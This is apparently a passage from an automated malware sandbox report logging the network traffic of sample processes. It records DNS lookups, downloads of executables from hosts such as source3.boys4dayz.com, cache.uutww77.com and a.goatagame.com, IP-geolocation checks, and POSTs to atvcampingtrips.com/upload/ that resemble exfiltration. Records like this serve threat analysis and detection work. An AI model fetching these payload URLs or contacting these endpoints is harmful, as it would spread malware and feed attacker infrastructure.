                                                                                                                                                                                                                                          GET /pub.php?pub=five HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;
                                                                                                                                                                                                                                          Host: 194.145.227.159
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.20.1
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:13 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.16
                                                                                                                                                                                                                                          Content-Description: File Transfer
                                                                                                                                                                                                                                          Content-Disposition: attachment; filename=setup.exe
                                                                                                                                                                                                                                          Content-Transfer-Encoding: binary
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          _t8eNnwX6KYKfXkwloHxOTPI.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:59 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AY3pz8SrlvG8tvc%2FkoKx%2FKK33XLR3cXEE%2BUZfDRPeNSdYxw9fwBmxZTZ8Yy%2BLLptc0LdpPEFNu4KfQPT4Wa3dhIo0FxDhtFzsLC7%2FXxeKlVe%2Fj06Ec2sMpgnFQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a8f6f99012e-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          source3.boys4dayz.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          source3.boys4dayz.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          source3.boys4dayz.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.148.61
                                                                                                                                                                                                                                          source3.boys4dayz.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.33.188
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://source3.boys4dayz.com/installer.exe
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.148.61:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /installer.exe HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;
                                                                                                                                                                                                                                          Host: source3.boys4dayz.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:00 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Content-Length: 3628856
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Fri, 07 May 2021 09:32:20 GMT
                                                                                                                                                                                                                                          etag: "60950924-375f38"
                                                                                                                                                                                                                                          Cache-Control: max-age=14400
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 2603
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pqOjMiX7LM5Kx057bSYAIJ5mc4HwfSAVqZSbIeSvv%2FeQdRMILdii8Vc5qcdUfJTGwW1oUuWcKqYOGkeF0End3V52lhA5isYe0eNnikqVnwIF9qGBLIyglCnqPTy9jBbaaPn3ixit0E4%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a9a498dfa34-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          cache.uutww77.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          cache.uutww77.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          cache.uutww77.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.171.54
                                                                                                                                                                                                                                          cache.uutww77.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.29.4
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://cache.uutww77.com/juuu/ufgaa.exe
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.171.54:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /juuu/ufgaa.exe HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;
                                                                                                                                                                                                                                          Host: cache.uutww77.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:02 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PMLCwsburbBA%2FAkImkYbQvHlqc2LB9GoV4XOHTcMf9rWGFM5AOeZfk64xEizdKtQceJwVVT42XEVdPzGibjWzMVfeiehAazQReq1Z6fOQ3C1c%2FlD1vZXof17GPrjLk7lmhYlwg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232aa5cb9f4c00-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thegymmum.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thegymmum.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          thegymmum.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          thegymmum.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ip-api.com
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ip-api.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          ip-api.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          208.95.112.1
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ip-api.com/json/?fields=8198
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          208.95.112.1:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /json/?fields=8198 HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
                                                                                                                                                                                                                                          Host: ip-api.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:05 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 57
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          X-Ttl: 14
                                                                                                                                                                                                                                          X-Rl: 37
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ip-api.com/json/?fields=8198
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          208.95.112.1:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /json/?fields=8198 HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
                                                                                                                                                                                                                                          Host: ip-api.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:25 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 57
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          X-Ttl: 60
                                                                                                                                                                                                                                          X-Rl: 44
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ip-api.com/json/?fields=8198
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          208.95.112.1:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /json/?fields=8198 HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
                                                                                                                                                                                                                                          Host: ip-api.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:26 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 57
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          X-Ttl: 59
                                                                                                                                                                                                                                          X-Rl: 43
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ip-api.com/json/?fields=8198
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          208.95.112.1:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /json/?fields=8198 HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
                                                                                                                                                                                                                                          Host: ip-api.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:27 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 57
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          X-Ttl: 58
                                                                                                                                                                                                                                          X-Rl: 42
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          116.121.62.237
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          110.14.121.123
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          180.69.193.102
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          176.123.228.234
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          211.170.70.237
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          124.109.61.160
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          58.124.228.242
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          62.201.235.58
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          181.129.180.251
                                                                                                                                                                                                                                          atvcampingtrips.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          183.78.205.92
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 115
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:10 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 8
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          script.googleusercontent.com
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          script.googleusercontent.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          script.googleusercontent.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          googlehosted.l.googleusercontent.com
                                                                                                                                                                                                                                          googlehosted.l.googleusercontent.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          142.250.179.193
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.193:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.googleusercontent.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:10 GMT
                                                                                                                                                                                                                                          Location: https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          htagzdownload.pw
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          script.google.com
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          script.google.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          script.google.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.217.17.78
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.217.17.78:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.google.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:13 GMT
                                                                                                                                                                                                                                          Location: https://script.googleusercontent.com/macros/echo?user_content_key=ZLUlWltPG0pZXS2nysXN3R_u62onUTn1ltQG-K0Lv-RDbVhROnoJN31V3JsCjQcflWDabeTOhUMUwXbGyDNfUN14BuvLy_Xbm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Set-Cookie: S=maestro=T_Tvo4AhS8OTT7U7RpQ-FBY8NtbHPcasibi2nEDP6Hc; Domain=.google.com; Path=/; Secure; HttpOnly; Priority=LOW
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          116.121.62.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /upload/ HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          Referer: http://atvcampingtrips.com/upload/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                          Content-Length: 169
                                                                                                                                                                                                                                          Host: atvcampingtrips.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:27:12 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                          Content-Length: 334
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.145.110
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.49.131
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatagame.com/userf/25/anyname.exe
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.145.110:443
